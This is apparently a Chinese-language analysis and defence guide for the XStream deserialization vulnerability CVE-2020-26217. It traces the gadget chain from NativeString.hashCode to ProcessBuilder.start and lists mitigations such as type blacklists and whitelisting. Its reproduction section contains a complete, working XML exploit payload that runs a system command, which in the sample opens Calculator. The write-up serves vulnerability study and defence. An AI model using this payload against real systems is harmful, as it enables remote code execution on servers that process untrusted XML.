XStream远程代码执行漏洞(CVE-2020-26217)深度分析与防护指南

1. 漏洞概述

CVE-2020-26217是XStream库中的一个严重远程代码执行漏洞，影响包括1.4.13在内的所有版本。该漏洞通过一个黑名单之外的gadget链成功绕过了之前的补丁防护措施。

2. 漏洞影响范围

• 受影响版本：所有XStream版本（包括1.4.13）
• 安全版本：使用XStream官方提供的安全框架的系统不受影响
• 风险等级：严重（Critical）

3. 漏洞原理分析

3.1 漏洞利用链

该漏洞利用了一个复杂的gadget链，通过精心构造的XML数据实现远程代码执行。以下是关键利用点：

1. Map反序列化：XStream在处理map类型对象时，会实例化空map和entry，并将entry放入map
2. hashCode触发：map在put entry时需要获取entry的hash，触发NativeString的hashCode函数
3. 链式调用：
   • hashCode → toString → get
   • Base64Data.get → dataHandler.read → SequenceInputStream.read
   • MultiUIDefaultsEnumerator.nextElement → FilterIterator迭代
4. 反射调用：最终通过ImageIO$ContainsFilter的filter方法进行反射调用，执行任意命令

3.2 关键类分析

• jdk.nashorn.internal.objects.NativeString：初始触发点
• com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data：数据转换关键类
• com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource：数据源处理
• java.io.SequenceInputStream：输入流处理
• javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator：枚举器
• javax.imageio.spi.FilterIterator：过滤器迭代器
• javax.imageio.ImageIO$ContainsFilter：最终反射调用点
• java.lang.ProcessBuilder：命令执行类

4. 漏洞复现

4.1 PoC示例

<map>
  <entry>
    <jdk.nashorn.internal.objects.NativeString>
      <flags>0</flags>
      <value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>
        <dataHandler>
          <dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>
            <contentType>text/plain</contentType>
            <is class='java.io.SequenceInputStream'>
              <e class='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator'>
                <iterator class='javax.imageio.spi.FilterIterator'>
                  <iter class='java.util.ArrayList$Itr'>
                    <cursor>0</cursor>
                    <lastRet>-1</lastRet>
                    <expectedModCount>1</expectedModCount>
                    <outer-class>
                      <java.lang.ProcessBuilder>
                        <command>
                          <string>open</string>
                          <string>-a</string>
                          <string>Calculator</string>
                        </command>
                      </java.lang.ProcessBuilder>
                    </outer-class>
                  </iter>
                  <filter class='javax.imageio.ImageIO$ContainsFilter'>
                    <method>
                      <class>java.lang.ProcessBuilder</class>
                      <name>start</name>
                      <parameter-types/>
                    </method>
                    <name>start</name>
                  </filter>
                  <next/>
                </iterator>
                <type>KEYS</type>
              </e>
              <in class='java.io.ByteArrayInputStream'>
                <buf></buf>
                <pos>0</pos>
                <mark>0</mark>
                <count>0</count>
              </in>
            </is>
            <consumed>false</consumed>
          </dataSource>
          <transferFlavors/>
        </dataHandler>
        <dataLen>0</dataLen>
      </value>
    </jdk.nashorn.internal.objects.NativeString>
    <string>test</string>
  </entry>
</map>

4.2 执行流程

1. XStream解析XML并创建Map和Entry对象
2. 调用NativeString的hashCode方法
3. 触发Base64Data的toString和get方法
4. 通过dataHandler和SequenceInputStream触发FilterIterator
5. 利用ContainsFilter反射调用ProcessBuilder.start方法
6. 执行系统命令（示例中为打开计算器）

5. 防护措施

5.1 官方推荐方案

• 使用XStream安全框架：这是最彻底的解决方案
• 升级到修复版本：检查XStream官方发布的安全更新

5.2 临时缓解措施

1. 严格输入验证：对输入的XML数据进行严格验证
2. 限制反序列化类：通过XStream API限制可反序列化的类

   xstream.denyTypes(new Class[]{jdk.nashorn.internal.objects.NativeString.class});
   

3. 使用白名单机制：仅允许必要的类进行反序列化
4. 安全配置：禁用XStream的某些危险功能

   xstream.ignoreUnknownElements();
   

6. 漏洞根源分析

该漏洞的根本原因在于：

1. 黑名单防护的局限性：XStream依赖黑名单机制防护反序列化漏洞
2. Java生态复杂性：Java类库庞大，难以穷尽所有危险gadget
3. 动态调用链：通过反射和复杂调用链绕过静态检测

7. 安全建议

1. 优先使用白名单：而非黑名单机制
2. 最小权限原则：运行XStream的进程应具有最小必要权限
3. 持续监控：关注XStream安全公告和CVE更新
4. 深度防御：结合应用防火墙、入侵检测等多层防护

8. 参考链接

• XStream官方安全公告
• 阿里云安全团队分析报告
• CVE官方数据库记录

附录：完整调用栈

NativeString.hashCode()
  → Base64Data.toString()
    → Base64Data.get()
      → ByteArrayOutputStreamEx.readFrom()
        → XMLMessage$XmlDataSource.read()
          → SequenceInputStream.read()
            → MultiUIDefaultsEnumerator.nextElement()
              → FilterIterator.next()
                → ImageIO$ContainsFilter.filter()
                  → Method.invoke()
                    → ProcessBuilder.start()

通过理解这个完整的调用链，可以更好地防御类似的反序列化漏洞。